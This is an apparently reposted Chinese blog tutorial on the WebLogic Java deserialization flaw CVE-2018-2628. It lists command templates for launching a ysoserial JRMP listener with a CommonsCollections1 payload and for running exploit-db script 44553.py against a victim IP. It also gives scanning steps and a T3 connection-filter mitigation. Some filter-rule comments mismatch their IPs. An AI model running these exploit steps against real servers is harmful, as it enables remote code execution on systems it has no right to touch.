Java反序列化漏洞

Ysoserial

介绍

Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:

https://github.com/frohoff/ysoserial/

使用方法

1、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
     
    [listen port]:攻击机要监听的端口
    [command]:想要执行的命令

2、开始使用44553.py脚本来向目标发送数据包(基于python2.x)

     下载地址: https://www.exploit-db.com/download/44553

    python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
     
    [victim ip]:目标weblogic的IP
    [victim port]:目标weblogic的端口
    [path to ysoserial] :ysoserial的路径
    [JRMPListener ip] :第一步中启动JRMP Server的IP地址
     [JRMPListener port] :第一步中启动JRMP Server的I端口地址
    [JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。

RMI和JRMP协议

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。

T3协议

WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。

如何检查存在漏洞

以CVE-2018-2628漏洞为例

nmap -n -v -p7001,7002 192.168.197.139 --script=weblogic-t3-info

        针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。

    Java反序列化漏洞

     使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.197.139:7001.在kali里运行CVE-2018-2628-MultiThreading.py(基于python2.x版本)开始检测,可以看到检测结果为漏洞存在。

    Java反序列化漏洞

临时解决办法

可通过控制T3协议的访问来临时阻断攻击行为。WebLogicServer 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器。此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制。

(1)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

    Java反序列化漏洞

  在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s

    Java反序列化漏洞

     保存后规则即可生效,无需重新启动。

     Java反序列化漏洞

  详细解析:

  127.0.0.1 * * allow   //表示允许本机回环地址所有协议的连接

  10.1.34.205 * * allow   //表示允许来自10.10.5.68地址任何协议的访问请求

  10.156.0.57/255.255.255.0 * * allow 或 10.156.0.57/24 * * allow   //表示允许10.10.3.0网段所有协议的连接

  0.0.0.0/0 * * deny t3 t3s   //表示禁止除上面三条规则以外所有IP地址或网段t3、t3s协议的连接。

  或者更换端口

 错误配置

    10.1.34.205 * 8001 allow
    10.156.0.57 * 8001 allow
    10.156.0.58 * 8001 allow
    0.0.0.0/0 * * 7001 allow
    0.0.0.0/0 * * deny

  正确配置:

    ip * * allow t3 (ip为允许的ip)
     
    0.0.0.0/0 * *deny t3 t3s

备注:

weblogic漏洞扫描器搭建 kali环境

git clone https://github.com/rabbitmask/WeblogicScan.git  //下载

chmod +x WeblogicScan.py //提权

python3 ./WeblogicScan.py  192.168.197.139 7001  //检测

CVE-2018-2628-MultiThreading.py kali环境

git  clone  https://github.com/Lighird/CVE-2018-2628  //下载

 

 

 

 

 

原文链接:https://blog.****.net/qq_45625605/article/details/103428688